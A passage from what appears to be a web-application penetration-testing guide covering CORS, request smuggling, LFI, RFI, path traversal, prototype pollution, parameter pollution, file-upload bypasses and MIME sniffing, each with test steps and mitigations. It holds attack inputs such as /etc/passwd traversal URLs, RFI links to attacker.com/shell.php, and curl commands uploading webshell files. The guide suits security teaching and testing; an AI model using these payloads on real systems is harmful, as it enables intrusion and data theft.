- Extensions like **Logger++** can be used to capture and review HTTP requests and responses to check if user input is being logged in an unsafe way.

Log Injection Mitigations:

- Validate and sanitize user input to prevent special characters (like **\r, \n, <, >)** from being logged.
- Avoid Direct Reflection in Logs
- **Secure Log Access:** Restrict access to log files and ensure only authorized users can view
- **Limit Sensitive Data in Logs:** Avoid logging sensitive information such as passwords, session tokens, or personally identifiable information (PII).

27. Insecure CORS Misconfiguration

Insecure CORS occurs when a web application misconfigures CORS policy, allowing potentially malicious websites to access sensitive resources or perform unauthorized actions on behalf of users. CORS is a browser security feature that controls how web applications on one domain can request resources from a different domain (origin). Misconfigurations or overly permissive CORS policies can lead to security vulnerabilities, such as data theft, cross-site request forgery (CSRF), or privilege escalation.

How CORS Works:

CORS allows a server to specify which origins (domains) are allowed to access its resources. When a web page makes a request to a different domain, the browser sends an Origin header to the server. The server then responds with CORS headers, such as:

- **Access-Control-Allow-Origin:** Specifies which origin(s) can access the resource.
- **Access-Control-Allow-Methods:** Specifies which HTTP methods (GET, POST, etc.) are allowed.
- **Access-Control-Allow-Credentials:** Specifies whether cookies or HTTP authentication are included with requests.
- **Access-Control-Allow-Headers:** Specifies which headers can be sent in the request.

How to test it:

Step 1: Identify Endpoints for CORS Testing

- Look for APIs or endpoints that interact with resources or data (such as authentication or sensitive data endpoints).
- **Common endpoints to test include:**
  - API endpoints (e.g., /api/user, /api/data)
  - Login endpoints or token exchange endpoints
  - Endpoints that involve user interactions or sensitive data

Step 2: Intercept the Request

- Intercept the Http request of the application (Web page).
- The request “Send to the Repeater”
- Burp Search feature… search box enter (access-control-allow-origin) and click on Go.
- Inspect target of the application and then highlight Access Control Allow origin in response header
- This request “Send to the Repeater” and add origin header and check response

Request (look like):

```
GET /api/user HTTP/1.1
Host: victim-website.com
Origin: http://attacker.com
```

Server Response (look like):

```
HTTP/1.1 200 OK
Content-Type: application/json
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Credentials: true
```

Insecure CORS Mitigations:

- **Restrict Allowed Origins**: Specify a specific trusted origin (e.g., https://trusted.com) instead of using *.
- **Avoid * for Sensitive Resources**: Never use * for Access-Control-Allow-Origin when sensitive data or authentication tokens are involved.
- **Use Access-Control-Allow-Credentials Carefully**: If set to true, ensure that Access-Control-Allow-Origin is not * and only specific origins are allowed.
- **Limit Allowed HTTP Methods**: Restrict the methods (GET, POST, etc.) allowed for CORS requests.
- **Enable Preflight Checks**: Ensure proper handling of preflight requests (OPTIONS) to verify that the CORS policy is correctly implemented.

28. HTTP Request Smuggling

HTTP Request Smuggling is a web security vulnerability that occurs when a server chain (e.g., a front-end server like a load balancer and a back-end server like a web application server) interprets the boundaries of HTTP requests differently. By exploiting this misalignment, attackers can “smuggle” a hidden or unintended request through a trusted front-end server to the back-end server. This attack often involves manipulating HTTP headers that control how each server interprets where one request ends, and another begins.

How does HTTP Request Smuggling Works?

Basic Understand

Server Chain Setup: In a typical setup, there’s a front-end server (like a load balancer, web cache, or reverse proxy) and a back-end server (like a web application server). The front-end server receives HTTP requests from clients, performs initial processing (e.g., authentication, logging), and then forwards them to the back-end server.

Key Headers Involved: HTTP Request Smuggling focuses on two HTTP headers that control the request's body length:

- **Content-Length:** Indicates the exact number of bytes in the request body. It’s commonly used by HTTP/1.0 and HTTP/1.1 servers.
- **Transfer-Encoding:** Allows data to be sent in chunks (e.g., with “chunked” encoding), which means the request body can have multiple segments with each segment prefixed by its length.

When a request includes both headers in a conflicting way, these inconsistent interpretations can create a "gap" where one server thinks a request ends, but the other continues to read, potentially leading to unintended actions.

Types of HTTP Request Smuggling Attacks

- **CL.TE (Content-Length, Transfer-Encoding)**: The attacker uses a Content-Length header to specify one request length for the front-end, while a Transfer-Encoding header specifies a chunked body that the back-end interprets differently.
- **TE.CL (Transfer-Encoding, Content-Length)**: The attacker uses Transfer-Encoding: chunked to confuse the front-end, while a Content-Length header is used by the back-end.
- **TE.TE (Transfer-Encoding, Transfer-Encoding)**: Both front-end and back-end use Transfer-Encoding headers but interpret them differently.

Pause De-Sync Attack

The Pause De-Sync Attack exploits timing differences by inserting intentional delays, or pauses, during the transmission of an HTTP request. This pause can cause the front-end and back-end servers to interpret the request boundaries differently, potentially allowing the attacker to inject a second, "smuggled" request.

Client-Side De-Sync Attack

The **Client-Side De-Sync Attack** targets the client-side (e.g., browser or HTTP client) to interpret request boundaries incorrectly. Unlike server-to-server misinterpretation, this attack focuses on causing the client to misunderstand the server's response and execute unintended requests or actions.

HTTP Request Smuggling Mitigations:

- **Standardizing and Aligning Server Parsing:**
  - Configure both front-end and back-end servers to **use the same parsing mechanisms** for Content-Length, Transfer-Encoding, and other critical headers.
  - **Disable conflicting headers** (Content-Length and Transfer-Encoding) from being sent together in requests.
  - Ensure that the front-end proxies or load balancers **forward** only the necessary headers and strip out any that could cause confusion between servers.
- **Strict Handling of HTTP Request Headers:**
  - Ensure proper validation and sanitization of HTTP request headers, especially **Transfer-Encoding**, Content-Length, and other header fields
- **Use HTTP/2 or HTTP/3:**
  - **Upgrade to HTTP/2 or HTTP/3**, which offer **better message framing** and more robust handling of HTTP request boundaries than HTTP/1.1.
- **Implement Request Size and Length Validation:**
  - **Validate the size** and **length** of HTTP requests before processing
- **Use Strongly Input Validation and Sanitization:**
  - Ensure that **user-controlled input**, especially HTTP headers and request bodies, is properly sanitized to prevent malicious data from reaching the backend server.
  - Ensure that **input validation** is applied on all inputs (URLs, query strings, body parameters)
- **Properly Configure proxy and load balancer**

29. Local File Inclusion (LFI)

Local File Inclusion (LFI) is a type of vulnerability that occurs when a web application allows users to include files from the local server without properly validating the file path or user input. This can lead to unauthorized access to sensitive files on the server or potentially even remote code execution in severe cases.

How to test it:

Step 1: Identify Input Points:
Look for user-controllable inputs that specify a file. Common places to check include URL parameters, HTTP request headers, cookies, and form fields.

- **Example URL**: http://example.com/index.php?file=home.php

Step 2: Modify the parameter value by adding potential file paths

- Input traversal sequences like ../ to see if you can access parent directories.
- http://example.com/index.php?file=../../../../etc/passwd

Step 3: Bypass Filters:

- If the application filters certain characters (like ../), try encoding techniques like URL encoding, double URL encoding, or UTF-8 encoding.
- Inject null byte character after file path like http://example.com/index.php?page=../../../../etc/passwd**%00**

LFI Mitigations:

Validate and Sanitize User Inputs:

- Use **whitelisting** to allow only predefined, safe files.
- Reject special characters like ../ and %00 (null byte) to prevent directory traversal and bypass attacks.
- Validate user input rigorously, ensuring it matches allowed file names and extensions.

Avoid Direct File Inclusion from User Input:

- Use **static file inclusion** based on a set list, rather than allowing user-controlled input.
- Never directly pass user input into file inclusion mechanisms without proper validation.

Use Built-In Security Functions

Limit File Access with Server Configurations

Sanitize File Paths and Filenames:

- Use **path normalization** to validate that a file resides within an allowed directory.
- Check **file extensions** to ensure only trusted file types (e.g., .php, .html) are included.

Use Secure Configuration and Code:

- Disable dangerous functions (e.g., include, require, fopen) in php.ini.
- Implement proper error handling that does not expose sensitive system paths or files.

Use Web Application Firewalls (WAFs)

Enable Security Features in the Web Server:

- **Disable directory listing** on the server (e.g., Options -Indexes in Apache).
- Restrict file inclusion to a specific directory with server-side configurations (e.g., open_basedir in PHP).
- Use **HTTP headers** to restrict file uploads to specific types.

30. Directory Traversal

Directory Traversal (also known as **Path Traversal**) is a type of security vulnerability that allows attackers to access files and directories that are outside the intended directory. By manipulating file paths, attackers can navigate through the file system and access sensitive files, such as configuration files, password files, or other restricted data.

How to test it:

1. Basic Directory Traversal Attack

- `http://example.com/loadfile.php?file=../../../../etc/passwd`

2. Directory Traversal Using URL Encoding

- `http://example.com/loadfile.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd`

3. Multiple Traversal Attempts with URL Encoding

- `http://example.com/loadfile.php?file=..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd`

Different between LFI & Directory Traversal

Aspect	**Local File Inclusion (LFI)**	**Directory Traversal**
Objective	Includes a file within the application, often displaying content or executing code.	Navigates the file system to access unauthorized files without executing them.
File Execution	Can lead to code execution if the included file is a script or executable.	Only retrieves file content; does not execute or interpret the file's code.
Attack Target	Targets include or require functions (e.g., include($_GET['file']) in PHP).	Targets applications that open files directly based on user input paths.
File Type Access	Often includes files like scripts or configurations, which may have executable code.	Accesses sensitive files (e.g., /etc/passwd) for information retrieval only.
Attack Vector Complexity	Requires specific payloads that allow the server to interpret or execute the file.	Uses simple path manipulation (e.g., ../) to move up the directory hierarchy.

Directory Traversal Mitigations:

- **Input Validation and Sanitization**: Always validate user input, especially file paths. Reject or sanitize inputs containing special characters like ../, ..%2F, or other URL-encoded characters
- **Use Absolute Paths**: Where possible, use absolute paths rather than relative paths.

Example: Absolute Paths & Relative Paths

An **absolute path** is the full path to a file or directory starting from the root directory, specifying every folder in the path. It's complete and does not depend on the current working directory. For example:

- Unix/Linux: /home/user/documents/file.txt
- Windows: C:\Users\User\Documents\file.txt

A **relative path** is the path to a file or directory starting from the current working directory, making it shorter and context-dependent. It often includes special symbols like . (current directory) or .. (parent directory). For example:

- documents/file.txt (relative to the current directory)
- ../file.txt (refers to a file in the parent directory)

- **Use Whitelisting**: Only allow specific, predefined files to be accessible, based on a whitelist. This ensures that only approved files or directories can be accessed by the application
- **Limit File Access to Specific Directories**: Use server or application-level restrictions to constrain file access to specific directories.
- **Normalize and Sanitize File Paths**: Use functions to normalize paths, resolving . and .. elements in the path to remove any directory traversal attempts. Many programming languages, like Python (os.path.realpath()), Java (java.nio.file.Paths), and PHP (realpath()), offer functions for resolving the actual path of a file, which can help prevent unauthorized directory access.
- **Implement Proper Error Handling**: Avoid exposing detailed error messages that could reveal sensitive information about the file system.

31. Remote File Inclusion (RFI)

Remote File Inclusion (RFI) is a vulnerability that allows an attacker to include a file from a remote server through an application. This happens when user input is improperly trusted in file inclusion functions (such as include() or require() in PHP). The attacker can specify a malicious URL as a file path, which is then included and executed by the vulnerable application. RFI can lead to the execution of arbitrary code, data theft, or compromise of the entire system.

How to test it:

Step 1: **Identify the Input Point:**

- Find where user input is passed as a parameter to file inclusion functions. This could be in **URLs**, **form fields**, or other user-controlled inputs.

- http://example.com/index.php?page=**http://attacker.com/maliciousfile.php**
- http://example.com/index.php?page=**http://attacker.com/shell.php**
- http://example.com/index.php?page=**http%3A%2F%2Fattacker.com%2Fmaliciousfile.php**

Different between RFI, SSRF and LFI

Aspect	RFI (Remote File Inclusion)	SSRF (Server-Side Request Forgery)	LFI (Local File Inclusion)
Primary Target	Allows an attacker to include remote files via user input.	Allows an attacker to make the server perform arbitrary HTTP requests to internal or external services.	Allows an attacker to include files from the local filesystem.
Attack Vector	Attacker manipulates file paths to include remote files, often executing malicious scripts.	Attacker manipulates URLs to make the server send requests to internal or unauthorized systems.	Attacker manipulates file paths to include files on the server's local filesystem.

File Inclusion	Involves the inclusion of files from a remote server.	Does not directly involve file inclusion; instead, the server makes requests to other services.	Involves the inclusion of files from the local server's file system.
Purpose of Exploitation	Often used to execute malicious code on the server by including a remote file.	Exploited to retrieve sensitive data (e.g., metadata, internal API calls) or interact with internal systems.	Used to expose sensitive local files (like /etc/passwd or configuration files).
Examples of Attacks	Attacker provides a remote URL in input (e.g., http://malicious.com/file.php) to be included by the server.	Attacker uses URL manipulation to make the server send requests to an internal service or private API (e.g., http://localhost/admin or http://metadata.server).	Attacker uses ../../ in input to include files like /etc/passwd or /var/log/auth.log

RFI Mitigations:

- **Disable Remote File Inclusion**: The best way to prevent RFI is to disable remote file inclusion entirely. In PHP, you can do this by setting allow_url_include to Off in the php.ini file: `allow_url_include = Off`
- **Validate User Input**: Never directly pass user input to file inclusion functions. Use strict input validation, such as whitelisting allowed file names or checking the input against predefined patterns.
- **Use Absolute Paths**: Always use **absolute paths** when including files, and never rely on user input to specify file paths. For example, instead of `include($_GET['page'])`, use `include('/var/www/html/' . basename($_GET['page']))` after validating the file name.
- **Sanitize File Names**: Use functions to sanitize and validate the file paths before including them. For instance, in PHP, you can use basename() to remove any directory traversal characters.
- **Use File Permissions**: Ensure that the application has the minimum required file access permissions, so even if a file is included, it cannot be executed maliciously.
- **Implement Logging and Monitoring**: Set up logging to track any suspicious file inclusion requests, and actively monitor for unusual activities such as unexpected file accesses.
- **Avoid Dynamic File Includes**: Avoid including files based on user input, especially when user input can be controlled by an attacker. Always include files from predefined, safe locations.

32. Client-Side Path Traversal

Client-Side Path Traversal refers to a vulnerability where an attacker is able to manipulate file paths in a client-side application (usually within a web browser) to access or manipulate local files on the **client's machine** (the user's device). Unlike server-side path traversal (where the vulnerability affects the server), client-side path traversal occurs on the **user's device**, exploiting the browser's ability to access local resources or files.

This kind of attack typically occurs in **web applications** that allow users to upload or load local files, and the file paths are not properly validated or sanitized.

Impact of this vulnerability:

- **Sensitive Data Exposure**: Attackers can access confidential local files, such as system configurations or personal documents.
- **Bypassing Security**: Attackers may bypass restrictions and access hidden or restricted local files.
- **Denial of Service (DoS)**: Overwriting or corrupting critical files could crash or destabilize the system.
- **Malicious File Access**: Malicious files or scripts on the client machine could be executed, leading to further attacks.
- **Information Disclosure**: Attackers can gather system-specific details, potentially aiding further exploitation.

How to test it:

Step 1: Identify Input Field:
Look for **file input fields** or **URL parameters** where the application allows users to specify file paths.

- File upload forms (<input type="file">).
- Links or URL parameters referencing file paths

Common payloads:

- ../../../../../etc/passwd (Unix/Linux systems)
- ..\..\..\..\..\Windows\System32\drivers\etc\hosts (Windows systems)
- file:///C:/Windows/System32/drivers/etc/hosts
- file:///etc/passwd

Different between Client-Side Path Traversal & Server-Side Path Traversal

- **Location of Vulnerability**: Client-side effects the user's machine, while server-side effects the web server.
- **Impact**: Client-side path traversal exposes local files to the attacker, while server-side exposes files on the web server.
- **Exploited Files**: Client-side targets the user's local files, while server-side targets files stored on the server.
- **Scope of Risk**: Client-side risks are isolated to the individual user's device, but server-side risks can compromise the entire server and affect all users.

Client-Side Path Traversal Mitigations:

- **Sanitize User Input:** Ensure that any user-provided file paths are sanitized to remove traversal sequences like ../.
- **Use Safe APIs:** When dealing with file paths, always use platform-specific APIs that restrict file access to allowed locations.
- **Avoid Exposing Local File System Paths:** Do not expose the local file system structure to the user, especially through error messages or URLs.
- **Implement Access Controls:** Ensure that only authorized users can access or upload certain files and restrict file access to a designated directory.
- **Limit File Uploads:** Validate file uploads strictly, checking both file type and size, and avoid allowing arbitrary file inclusion from unknown sources.

33. Prototype Pollution

Prototype Pollution is a type of security vulnerability that occurs when an attacker is able to manipulate an object's prototype in JavaScript. The prototype is a foundational feature in JavaScript, as it allows objects to inherit properties and methods from other objects. Prototype Pollution allows an attacker to add or modify properties to the **prototype** of built-in objects like Object, Array, Function, etc., which can lead to Denial of Service (DoS), Data Corruption, Code Execution, etc

How to test it:

Step 1: Identify Input Points for Object Manipulation:

Look for **user-controlled input** that could be used to influence or modify objects, such as HTTP request parameters, JSON bodies, form inputs, or URL query strings.

Common areas to test:

- Query parameters (e.g., ?user[__proto__][isAdmin]=true)
- HTTP body or headers (e.g., {"__proto__": {"isAdmin": true}})
- User-submitted JSON data (via form submissions or APIs)

Step 2: Test for Special Properties in Input

Test if the application can accept **properties that modify prototypes** of JavaScript objects, such as:

- **__proto__**
- **constructor**
- **prototype**

Step 3: Malicious Input via Query Parameter:

Manipulate URL query parameters to inject malicious properties into the object's prototype:

http://example.com/api?user[__proto__][isAdmin]=true

Step 4: JSON Body Injection:

- Send a JSON payload that includes a polluted prototype:

```
{
 "__proto__": {
```

```
  "isAdmin": true
 }
}
```

Prototype Pollution Mitigations:

Sanitize User Input:

- Ensure that all user inputs, especially objects, are properly validated before being used in the application. Avoid allowing the injection of dangerous properties like __proto__, constructor, or prototype.

Use Libraries with Safe Methods:

- Use libraries like **Lodash**'s _.set or _.get methods, which automatically handle input safely and prevent prototype pollution.
- Avoid directly using Object.assign or merge functions from unsafe sources without sanitizing input.

Restrict Property Names:

- Ensure that object properties that are passed by the user do not contain special JavaScript keywords or properties, such as __proto__, constructor, or prototype.

Use Object.freeze():

- In cases where objects are not meant to be modified, use Object.freeze() to prevent the prototype from being altered.

Use Modern JavaScript Frameworks:

- Many modern frameworks and libraries have built-in protections against prototype pollution. Ensure that your application uses up-to-date frameworks that mitigate this issue.

34. HTTP Pollution

HTTP Pollution is a type of web application vulnerability that occurs when an attacker is able to manipulate the headers, body, or parameters of an HTTP request or response in a way that causes unintended behavior or security flaws. This type of attack can lead to various security issues, including unauthorized access, data corruption, information leakage, or the ability to bypass security mechanisms.

Types of HTTP Pollution:

1. **Header Pollution**:
   - This occurs when an attacker manipulates HTTP headers, such as **User-Agent**, **Referer**, or **Cookie**, to inject malicious values into the request or response.
   - It can also occur if attackers inject or modify headers like **X-Forwarded-For** or **X-Real-IP**, which are commonly used to control or spoof the source of the request.
2. **Parameter Pollution (Query Parameter Pollution)**:
   - Involves injecting extra parameters or modifying existing ones in the query string of URLs, **form submissions**, or **API calls**.
   - This could cause the application to misinterpret the parameters, process incorrect values, or bypass certain validation checks.
3. **Body Pollution**:
   - This refers to manipulating the **body of HTTP requests**, typically **in POST or PUT methods**. For example, an attacker might inject additional data or modify existing data in the request body to corrupt or exploit the processing logic.

How to test it:

Step 1: HTTP Header Pollution:

An attacker might inject multiple **User-Agent** headers into an HTTP request to confuse the server or cause unexpected behavior, like bypassing a filter or bypassing a security mechanism.

```
GET /somepage HTTP/1.1
Host: example.com
User-Agent: malicious-agent
User-Agent: legitimate-agent
```

Step 2: HTTP Parameter Pollution (Query String)

Attackers can manipulate query parameters by adding extra parameters with the same name, which can sometimes cause the application to behave unexpectedly or skip certain checks.

```
http://example.com/search?q=apple&q=orange
```

If the application does not properly handle multiple q parameters, it might search for both terms or use one of the terms in an unexpected way.

Step 3: HTTP Body Pollution:

In a POST request, an attacker might inject additional data into the body or modify the existing values, leading to the submission of unexpected or malicious input.

Original Body:

```
{
 "username": "admin",
 "password": "password123"
}
```

Malicious Payload Added

```
{
 "username": "admin",
 "password": "password123",
 "extra_param": "malicious_value"
}
```

If the server fails to validate or sanitize the input, the additional data could lead to incorrect application behavior or security breaches.

HTTP Pollution Mitigations:

Sanitize and Validate Input:

- Always sanitize input, especially HTTP headers, query parameters, and request bodies. Make sure that only allowed parameters and values are processed.

Use Secure Frameworks:

- Use frameworks that provide built-in protection mechanisms against malicious input and sanitize request data automatically.

Limit and Normalize Headers:

- Ensure that your web server only processes the headers it expects and normalize them to handle duplicates or malformed headers correctly.

Apply Rate Limiting:

- Use rate limiting and throttling to prevent attackers from submitting massive, polluted requests that could lead to DoS.

Implement Integrity Checks:

- Use checksums, hash-based validation, or digital signatures for critical data to ensure that it hasn't been tampered with.

HTTP Parameter Pollution:

HTTP Parameter Pollution (HPP) is a web vulnerability where an attacker manipulates HTTP requests by injecting multiple parameters with the same name. This can exploit inconsistencies in how web servers, applications, or client-side scripts process parameters. HPP may lead to unexpected behaviors, such as bypassing security filters, altering logic, or enabling injection attacks.

How to test it:

1. Bypassing Security Filters

Original request:

GET /login?role=admin HTTP/1.1

HPP Payload:

```
GET /login?role=user&role=admin HTTP/1.1
```

2. Injection Attack

Original request:

```
POST /submit HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=John&password=12345
```

HPP Payload:

```
POST /submit HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=John&password=12345&password=' OR '1'='1
```

3. Exploiting Backend Logic

Original request:

```
GET /search?query=test&filter=on
```

HPP Payload:

```
GET /search?query=test&filter=off&filter=on
```

HTTP Parameter Pollution Mitigations

1. Input Validation and Sanitization:

- Validate all user-supplied data (URL parameters, form fields) to ensure that no malicious or unexpected parameters are present.
- Reject or escape any special characters (e.g., &, =, ?, ;) in parameters that are not explicitly needed.

2. Consistent Parameter Handling:

- Ensure that the server processes request parameters in a consistent manner. Avoid relying on the order of parameters or multiple parameters with the same name.
- Normalize request data to avoid discrepancies caused by multiple parameters with similar names.

3. Use of Web Application Firewalls (WAF):

- Deploy a WAF to detect and block suspicious patterns associated with HTTP Parameter Pollution.
- Configure the WAF to flag requests with multiple parameters with the same name or unexpected characters.

4. Explicit Parameter Mapping:

- Use strict mapping of input parameters in the backend, ensuring that only explicitly defined parameters are accepted and processed.
- Avoid relying on the automatic parsing of parameters by web frameworks.

5. URL Encoding:

- Enforce proper URL encoding for all incoming requests to prevent manipulation of parameters.
- Ensure that multi-part parameters (like arrays) are properly encoded to avoid ambiguity.

6. HTTP Method Controls:

- Use HTTP methods (GET, POST, PUT, etc.) appropriately to restrict which parameters are allowed.
- Avoid accepting sensitive data through GET parameters where possible.

7. Session and Authentication Tokens:

- Avoid passing session IDs or sensitive authentication tokens as URL parameters to reduce exposure to HPP attacks.
- Consider using secure, encrypted cookies or headers for transmitting sensitive data.

Difference between Prototype Pollution & HTTP Parameter Pollution

Aspect	Prototype Pollution	HTTP Parameter Pollution
Definition	A vulnerability where an attacker manipulates the prototype of built-in JavaScript objects, potentially affecting all instances of that object.	A vulnerability where an attacker injects or manipulates parameters in HTTP requests (headers, query strings, or bodies), which may cause unexpected application behavior.
Affected Area	Affects JavaScript objects and their prototypes, which may lead to unauthorized behavior across the entire application.	Affects HTTP request parameters (query strings, headers, or request bodies) and can disrupt request handling or application logic.
Primary Impact	Causes data corruption, unexpected object behavior, security breaches, or remote code execution if used in a vulnerable context.	Can cause bypassing validation, improper handling of input, unexpected application logic, or data corruption.
Exploitation Method	Attacker manipulates special JavaScript properties like __proto__, prototype, or constructor to pollute an object's prototype.	Attacker manipulates HTTP request parameters (e.g., duplicates, malformed parameters, or invalid values) to trick the server into processing them incorrectly.
Example of Exploit	Modifying an object's prototype to add properties that affect all instances of that object, such as **__proto__.isAdmin = true**.	Injecting duplicate or malicious query parameters like **?user=admin&user=attacker** to bypass security or logic checks.

35. Unrestricted File Upload

Unrestricted File Upload is a security vulnerability that occurs when a web application allows users to upload files without proper checks or limitations on the type, size, or content of the file. This can lead to several security issues, including remote code execution, unauthorized access, and data corruption. In this scenario, attackers can exploit the lack of restrictions to upload malicious files that the application or server may incorrectly process or execute.

How to Test it:

Step 1: Intercept the File Upload Request

- Begin the file upload through the application, selecting a file with a potentially dangerous extension (e.g., malicious.php).
- Burp Suite will capture the file upload request.

Step 2: Modify the File Extension

In the intercepted request, locate the Content-Disposition header in the multipart/form-data request, which typically includes the file's name:

Burp suite Example: `Content-Disposition: form-data; name="file"; filename="malicious.php"`

Change the Extension to attempt a bypass. Here are a few variations to try:

- **Double Extension:** Rename **malicious.php** to **malicious.php.jpg**.
- **Alternate Extensions:** Change **malicious.php** to less common PHP file extensions (e.g., **malicious.php5**, **malicious.pht**, **malicious.php3**).
- **Misleading Extension:** Change malicious.php to a different type (e.g., **malicious.php.txt** or **malicious.php;.jpg**), to test if the server only checks the last extension.
- **Examples of extensions:**
- **Content-Disposition: form-data; name="file"; filename="malicious.php.jpg"**
- **Content-Disposition: form-data; name="file"; filename="malicious.php5"**
- **Content-Disposition: form-data; name="file"; filename="malicious.php.txt"**

Step 3: Use cURL to Send Modified Upload Requests

- **# Double Extension**
  `curl -X POST -F "file=@malicious.php.jpg" http://example.com/upload`
- **# Alternate Extension**
  `curl -X POST -F "file=@malicious.pht" http://example.com/upload`
- # Misleading Extension

```
curl -X POST -F "file=@malicious.php;.jpg" http://example.com/upload
```

Step 4: MIME Type Manipulation

Intercept the File Upload Request

- Begin uploading a file (e.g., malicious.php) using the application's file upload feature.
- When the request is intercepted in Burp, look at the headers and body of the file upload request. You should see a **Content-Type** header in the **multipart/form-data** section that indicates the MIME type of the file, which might look like this:
- Original MIME Type (Content-Type)

```
Content-Disposition: form-data; name="file"; filename="malicious.php"

Content-Type: application/x-php
```

- **Change the MIME Type** in the Content-Type header to a type that the server would allow, like image/jpeg or text/plain. This change may trick the server into accepting the file by bypassing MIME-type-based filtering.
    - Change **application/x-php** to **image/jpeg**
    - Change **application/x-php** to **text/plain**

File Upload Mitigations:

- **File Type & Content Validation**: Allow only specific file types, check MIME types, and verify file contents (using "magic numbers").
- **Restrict Extensions & Rename Files**: Whitelist safe extensions, rename files on upload, and strip special characters.
- **Store Outside Web Root**: Save files outside public directories and set non-executable permissions.
- **Scan for Malware**: Use antivirus tools to scan uploaded files and consider sandbox analysis for complex files.
- **Enforce File Size Limits**: Set maximum upload sizes to prevent DoS attacks.
- **Server-Side Validation**: Use server-side checks for MIME types and restrict reliance on client-side validation.
- **Control Access to Files**: Use tokens or controlled handlers instead of direct access to files.
- **Logging & Monitoring**: Track and alert on file upload and access activities.
- **Content Security Policy (CSP)**: Use CSP headers to prevent execution of scripts in uploaded files.
- **Use a WAF**: Configure WAF rules to detect and block malicious file upload attempts.
- **Headers**: Use X-Content-Type-Options: nosniff and Content-Disposition: attachment to prevent unintended execution.

Various bypass techniques of malicious file upload:

Step 1: Use Double Extension

- We can upload a file with multiple extensions to bypass basic extension validation (e.g., **.php.jpg**).
- **Example: testfile1.php.jpg**, **testfile2.jsp.png**

Step 2: Use Mixed Case Extension

- The file extension will be in mixed case like combination lower case and upper case (e.g., .PHP instead of .php), bypassing case-sensitive checks.
- **Example: testfile1.PhP**, **testfile2.pHp**

Step 3: Bypassing MIME Type Validation

- We can manipulate the Content-Type header in the HTTP request to bypass server-side MIME type checks.
- **Example:** A .php file containing a PHP shell (e.g., webshell.php) is uploaded and intercept the uploading HTTP request and change the Content-Type.
- Original: Content Type: application/x-httpd-php
- Change to Content-Type: image/jpeg

```
POST /upload HTTP/1.1
Content-Type: image/jpeg
Content-Disposition: form-data; name="file"; filename="webshell.php"
```

Step 4: Bypassing File Size Restrictions **(# Using curl to send a multipart request with large file parts)**

- We can split a malicious file into multiple parts and uploads them in separate requests to bypass file size limits.
- **curl -F "file=@evil_part1.php" -F "file=@evil_part2.php" http://example.com/upload**

Step 5: Add a Null Byte Character to the file extension

- Null byte (%00) can be used to terminate the file name string early, bypassing file extension checks.
- **Example:** Change **shell.php** to **shell.php%00.gif**

Step 6: Try Using Executable Extensions

- Using executable extensions to bypass file upload restrictions. We can try to upload files with uncommon or unexpected extensions that might still be allowed by the web application's file upload handling logic.
- **Common Executable Extensions:**
  - **.shtml** – Server Side Includes (SSI) files. Some web servers may still process them as executable files.
  - **.asa** – Active Server Pages (ASP) file used in IIS servers.
  - **.aspx** – ASP.NET files that can contain executable code.
  - **.cer** – Certificate files but can sometimes be used for uploading malicious code.
  - **.swf** – Flash files that can sometimes contain embedded malicious code.
  - **.xap** – Silverlight application files that may contain executable code.

Step 7: Adding Neutral Characters After the Filename

- Some servers may strip special characters or spaces from filenames, allowing for bypass. We can try adding spaces, dots, or slashes to the end of a filename extension.
- **Example:** Upload **shell.php ...** , **file.asp.** , or **malicious.php/** .

Step 8: Add a Magic Byte to the File

- **GIF Image**: GIF87a or GIF89a
- **JPEG Image**: ÿØÿà (Start of Image marker)
- **PNG Image**: 89 50 4E 47 0D 0A 1A 0A
- **PDF File**: %PDF-
- **ZIP File**: 50 4B 03 04 (Header for ZIP files)

MIME Type:

A **MIME type** (Multipurpose Internet Mail Extensions type), also known as a **media type**, is a standardized way to indicate the nature and format of a file or data in HTTP requests and responses. Originally used in email to specify the content type of attachments, MIME types are now a core part of web and application protocols to identify the type of content being transferred.

MIME Sniffing:

MIME Sniffing is a security vulnerability that occurs when web browsers automatically determine the file type of content, even when the server sends an incorrect or missing Content-Type header. This process allows browsers to "sniff" the content of a file (such as an image, text, or script) to determine its type, but it can also be exploited if the browser misinterprets a file's content, leading to potential security risks like Cross-Site Scripting (XSS) or code execution.

How to test it:

Step 1: Create a Javascript Content with .txt extension

- Create a file malicious.txt (Filename)
- <script>alert('MIME Sniffing XSS Attack');</script>
- Upload the files to a web application, If MIME Sniffing is not disabled, the browser might interpret the .txt file as HTML and execute the JavaScript code inside it.
- We may see an alert popup (MIME Sniffing XSS Attack), indicating that the file was treated as **text/html** despite being served as text/plain.

Step 2: Create one more javascript file with .jpg extension

- JavaScript in an Image File (Create a file malicious.jpg)
- alert('Executed as JavaScript');
- Upload the .jpg file into web application and open the file in the browser by navigating to http://example.com/malicious.jpg
- If MIME sniffing occurs and the browser recognizes that the file contains JavaScript (or HTML), it might treat the file as **text/html** or **application/javascript** and execute the embedded script.

File Type	Vulnerable Content-Type Example	Secure Content-Type Example
Image File **(.jpg)**	Content-Type: **application/octet-stream, text/html**	Content-Type: **image/jpeg**
PDF File **(.pdf)**	Content-Type: **application/octet-stream**	Content-Type: **application/pdf**
JavaScript File **(.js)**	Content-Type: **text/plain**	Content-Type: **application/javascript**
Audio File **(.mp3)**	Content-Type: **application/octet-stream**	Content-Type: **audio/mpeg**
Video File **(.mp4)**	Content-Type: **application/octet-stream**	Content-Type: **video/mp4**
HTML File **(.html)**	Content-Type: **text/plain**	Content-Type: **text/html**

MIME Sniffing Mitigations:

- **Use X-Content-Type-Options Header**: Set to nosniff to prevent browsers from MIME sniffing and strictly enforce the declared content type.
    - Example: X-Content-Type-Options: nosniff
- **Strict Content-Type Validation**: Ensure that the file's MIME type and its content match, rejecting mismatches.
- **Serve Files with Correct Headers**: Always set the correct Content-Type and use Content-Disposition to control how the browser handles the file.
- **Sanitize User-Uploaded Files**: Validate file content and restrict allowed types to prevent malicious files from being uploaded.
- **Use Content Security Policy (CSP)**: Apply strict CSP rules to mitigate potential attacks from improperly interpreted files.

Content Sniffing:

A **Content Sniffing** is a security vulnerability, **it** occurs when a browser interprets the content of a file in a way that was not intended by the server, typically because the Content-Type header is missing or incorrect. Browsers may try to "sniff" or guess the file's type based on its content, leading to the possibility of unintended behaviors like **Cross-Site Scripting (XSS)** or other security issues.

How does it Works:

- If a server serves an HTML file with the wrong Content-Type, the browser may detect that it's actually HTML and render it properly.
- If an image file has a missing Content-Type, the browser might examine the file's structure and recognize it as an image.

Different Between MIME Sniffing & Content Sniffing:

